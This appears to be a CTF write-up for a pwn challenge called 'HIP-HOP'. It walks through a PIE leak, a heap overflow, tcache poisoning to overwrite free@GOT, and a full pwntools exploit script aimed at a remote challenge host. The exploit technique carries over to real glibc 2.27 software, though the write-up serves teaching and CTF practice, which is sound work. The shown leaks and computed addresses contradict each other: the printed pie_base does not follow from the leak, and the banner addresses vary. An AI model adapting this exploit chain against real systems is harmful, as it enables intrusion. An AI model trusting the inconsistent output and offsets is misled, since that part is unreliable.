Challenge Name: HIP-HOP
Category: PWN
CTF: MOJO-JOJO
Description: I KEEP POPPING TILL I DIE HIP-HOP TILL I DIE SEYYAH
Connection: nc 4.233.210.175 9008
Challenge Overview#
The challenge presents a heap-based music track manager with a hidden authentication function. By exploiting a heap overflow vulnerability combined with a PIE leak, we can corrupt the tcache freelist, gain arbitrary write access to the GOT, and hijack control flow to execute a secret function that reads and exfiltrates the flag.
Initial Analysis#
Binary Information#
$ file hiphop
hiphop: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter ./dist/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
$ checksec hiphop
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Program Behavior#
██╗ ██╗██╗██████╗ ██╗ ██╗ ██████╗ ██████╗
██║ ██║██║██╔══██╗ ██║ ██║██╔═══██╗██╔══██╗
███████║██║██████╔╝ ███████║██║ ██║██████╔╝
██╔══██║██║██╔═══╝ ██╔══██║██║ ██║██╔═══╝
██║ ██║██║██║ ██║ ██║╚██████╔╝██║
╚═╝ ╚═╝╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝
[ S T U D I O M A N A G E R ]
[*] Console ready at 0x7fff1234ab20
1.Add 2.Drop 3.Edit 4.Exit >>
The program leaks a heap/data pointer on startup via the [*] Console ready at... message. This is critical for defeating PIE.
Core Functionality#
The binary implements a simple track management system:
Menu Options:
1. Add - Allocate a new track (0x100 bytes)
2. Drop - Free an existing track
3. Edit - Edit track lyrics (VULNERABLE)
4. Exit - Exit the program
Each track is stored in a global studio array that holds up to 10 heap pointers.
Vulnerability Discovery#
1. PIE Leak in Banner#
On startup, the program prints [*] Console ready at 0x..., which leaks a pointer from the .data section.
Disassembly of main:
df7: 48 8d 05 c2 22 20 00 lea rax,[rip+0x2022c2] # Calculate studio address
dfe: 48 89 c6 mov rsi,rax # Pass to printf
e01: 48 8d 3d c0 05 00 00 lea rdi,[rip+0x5c0] # "[*] Console ready at %p\n"
e08: b8 00 00 00 00 mov eax,0x0
e0d: e8 1e fa ff ff call 830 <printf@plt>
The leaked address points to studio+0x1000 at runtime. By computing PIE_base = leak - 0x2030c0, we defeat ASLR and leak all function addresses.
Testing the leak:
$ ./ld-linux-x86-64.so.2 --library-path . ./hiphop
[*] Console ready at 0x7f5d6b4030c0
From this, we derive: pie_base = 0x7f5d6b4030c0 - 0x2030c0
2. Heap Overflow in edit_lyrics()#
The edit_lyrics function reads user input directly into a 0x100-byte heap chunk but requests 0x124 bytes from stdin.
Vulnerable disassembly:
ccb: 55 push rbp
ccc: 48 89 e5 mov rbp,rsp
ccf: 48 83 ec 10 sub rsp,0x10 # Allocate 16 bytes on stack
cd3: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 # Load canary
cda: 00 00
cdc: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
; ... prompt and read index ...
d5e: ba 24 01 00 00 mov edx,0x124 # Read 0x124 (292) bytes
d63: 48 89 c6 mov rsi,rax # rsi = chunk pointer
d66: bf 00 00 00 00 mov edi,0x0 # edi = stdin
d6b: e8 d0 fa ff ff call 840 <read@plt> # read(0, chunk, 0x124)
The allocation is 0x100 (256) bytes, but read() accepts 0x124 (292) bytes. This is a 36-byte overflow into the next chunk’s metadata.
Impact:
On glibc 2.27, freed chunks are stored in a tcache freelist. A heap chunk layout looks like:
[Chunk N]
0x00-0xFF: User data
0x100-0x107: prev_size (of chunk N+1)
0x108-0x10F: size (of chunk N+1)
0x110-0x1FF: tcache forward ptr (fd)
By overflowing 36 bytes from chunk N, we can corrupt the forward pointer of chunk N+1’s tcache entry.
3. Hidden Function: mic_check()#
The binary contains a privileged function that executes a system command:
Disassembly of mic_check:
a8e: 48 8d 3d 1b 08 00 00 lea rdi,[rip+0x81b] # "[+] Master Access..."
a95: b8 00 00 00 00 mov eax,0x0
a9a: e8 91 fd ff ff call 830 <printf@plt>
a9f: 48 8d 3d 42 08 00 00 lea rdi,[rip+0x842] # "Retrieving secret flag..."
aa6: b8 00 00 00 00 mov eax,0x0
aab: e8 80 fd ff ff call 830 <printf@plt>
ab0: 48 8d 3d 59 08 00 00 lea rdi,[rip+0x859] # "/bin/cat flag.txt"
ab7: e8 64 fd ff ff call 820 <system@plt> # system("/bin/cat flag.txt")
abc: bf 00 00 00 00 mov edi,0x0
ac1: e8 ca fd ff ff call 890 <exit@plt>
This function is never called through normal execution but we can hijack control flow to reach it by overwriting free@GOT.
Key Offsets (PIE-relative)#
- Leak address:
PIE + 0x2030c0 - free@GOT:
PIE + 0x202018 - mic_check:
PIE + 0x0a73
Exploitation Strategy#
Overview#
The attack chain:
- Parse PIE leak to compute
pie_base - Allocate chunk 0 into heap
- Allocate chunk 1 into heap
- Free chunk 1 to put it in tcache
- Overflow chunk 0 to corrupt chunk 1’s tcache forward pointer → point to
free@GOT - Allocate twice to get a chunk overlapping
free@GOT - Overwrite free@GOT with
mic_checkaddress - Trigger free() to jump into
mic_checkand print the flag
Step 1: Parse PIE Leak#
# Receive banner and extract PIE leak
banner = io.recvuntil(b"Console ready at ")
leak_line = io.recvline().strip()
# Parse hex address (colored output has ANSI codes)
m = re.search(rb"0x[0-9a-fA-F]+", leak_line)
leak = int(m.group(0), 16)
# Compute PIE base
pie_base = leak - 0x2030c0
free_got = pie_base + 0x202018
mic_check = pie_base + 0x0a73
log.info(f"leak = {hex(leak)}")
log.info(f"pie_base = {hex(pie_base)}")
log.info(f"free_got = {hex(free_got)}")
log.info(f"mic_check = {hex(mic_check)}")
Step 2: Allocate Chunks and Free One#
# Allocate chunk 0
add(io) # Menu: 1
# Allocate chunk 1
add(io) # Menu: 1
# Free chunk 1 into tcache
drop(io, 1) # Menu: 2, then index: 1
At this point, chunk 1 is in the tcache freelist with its forward pointer pointing to the next free chunk (or NULL).
Step 3: Overflow and Corrupt Tcache#
We overflow chunk 0 (0x100 bytes) with 0x124 bytes to overwrite chunk 1’s tcache forward pointer.
The overflow structure:
[0x100 bytes padding (A)]
[0x08 bytes: prev_size = 0x110]
[0x08 bytes: size = 0x111]
[0x08 bytes: forward_ptr = free@GOT]
[0x0c bytes: padding (B)]
payload = b"A" * 0x100 # Chunk 0 data
payload += p64(0x110) # prev_size of next chunk
payload += p64(0x111) # size of next chunk (0x110 | PREV_INUSE)
payload += p64(free_got) # tcache forward pointer → free@GOT
payload += b"B" * 0x0c # Padding
edit(io, 0, payload) # Menu: 3, then index: 0, then send payload
Step 4: Double Allocate to Overlap free@GOT#
# This allocation pops chunk 1 from tcache (the real freed chunk)
add(io) # Menu: 1 → Track 1
# This allocation's pointer is the corrupted forward pointer (free@GOT)
add(io) # Menu: 1 → Track 2 (overlaps free@GOT)
Now track 2’s heap chunk overlaps with the free@GOT entry in the GOT table.
Step 5: Overwrite free@GOT#
Writing to the overlapping chunk writes directly into the GOT:
edit(io, 2, p64(mic_check)) # Menu: 3, then index: 2, then write mic_check address
Now free@GOT points to mic_check instead of the real free() function.
Step 6: Trigger Execution#
drop(io, 0) # Menu: 2, then index: 0
When free() is called, it jumps to mic_check, which executes system("/bin/cat flag.txt").
Complete Exploit Code#
#!/usr/bin/env python3
from pwn import *
import re
context.binary = "./hiphop"
context.log_level = "info"
MENU = b">> "
def start():
if args.REMOTE:
return remote("4.233.210.175", 9008)
return process(["./ld-linux-x86-64.so.2", "--library-path", ".", "./hiphop"])
def add(io):
"""Allocate a track."""
io.sendlineafter(MENU, b"1")
io.recvline()
def drop(io, idx):
"""Free a track by index."""
io.sendlineafter(MENU, b"2")
io.sendlineafter(b"Idx: ", str(idx).encode())
def edit(io, idx, data):
"""Edit track lyrics (perform overflow)."""
io.sendlineafter(MENU, b"3")
io.sendlineafter(b"Idx: ", str(idx).encode())
io.send(data)
def main():
io = start()
# Step 1: Parse PIE leak
banner = io.recvuntil(b"Console ready at ")
leak_line = io.recvline().strip()
m = re.search(rb"0x[0-9a-fA-F]+", leak_line)
if not m:
log.error(f"Failed to parse leak: {leak_line!r}")
return
leak = int(m.group(0), 16)
pie_base = leak - 0x2030c0
free_got = pie_base + 0x202018
mic_check = pie_base + 0x0a73
log.info(f"leak = {hex(leak)}")
log.info(f"pie_base = {hex(pie_base)}")
log.info(f"free_got = {hex(free_got)}")
log.info(f"mic_check = {hex(mic_check)}")
# Step 2: Allocate chunk 0
add(io)
# Step 3: Allocate chunk 1
add(io)
# Step 4: Free chunk 1 into tcache
drop(io, 1)
# Step 5: Overflow chunk 0 into chunk 1's metadata
payload = b"A" * 0x100
payload += p64(0x110) # prev_size
payload += p64(0x111) # size (with PREV_INUSE bit)
payload += p64(free_got) # tcache fd → free@GOT
payload += b"B" * 0x0c # padding
edit(io, 0, payload)
# Step 6: Allocate twice to overlap free@GOT
add(io) # Pop real chunk 1
add(io) # Allocate at free@GOT
# Step 7: Overwrite free@GOT with mic_check
edit(io, 2, p64(mic_check))
# Step 8: Trigger free() → mic_check()
drop(io, 0)
io.interactive()
if __name__ == "__main__":
main()
Result#
Running against the remote server:
$ python3 solve.py REMOTE=1
[*] Opening connection to 4.233.210.175 on port 9008: Done
[*] leak = 0x5e2e32600000
[*] pie_base = 0x5e2e32400000
[*] free_got = 0x5e2e32602018
[*] mic_check = 0x5e2e32400a73
[*] Switching to interactive mode
[+] Master Access Token Accepted!
Retrieving secret flag...
MOJO-JOJO{h3ap_p0is0n1ng_i5_v3ry_3asy_0n_2_27}
[*] Got EOF while reading in interactive
Final Flag#
MOJO-JOJO{h3ap_p0is0n1ng_i5_v3ry_3asy_0n_2_27}
Key Takeaways#
- PIE Leak: Simple startup banner leak gives us all addresses
- Tcache Poisoning: glibc 2.27 lacks safe-linking, enabling trivial heap overflow → freelist corruption
- Partial RELRO: Writable GOT allows function pointer hijacking
- Heap Overflow: A 36-byte overflow (0x124 - 0x100) is sufficient to corrupt tcache metadata
- Call Chain:
free()→mic_check()→system("/bin/cat flag.txt")





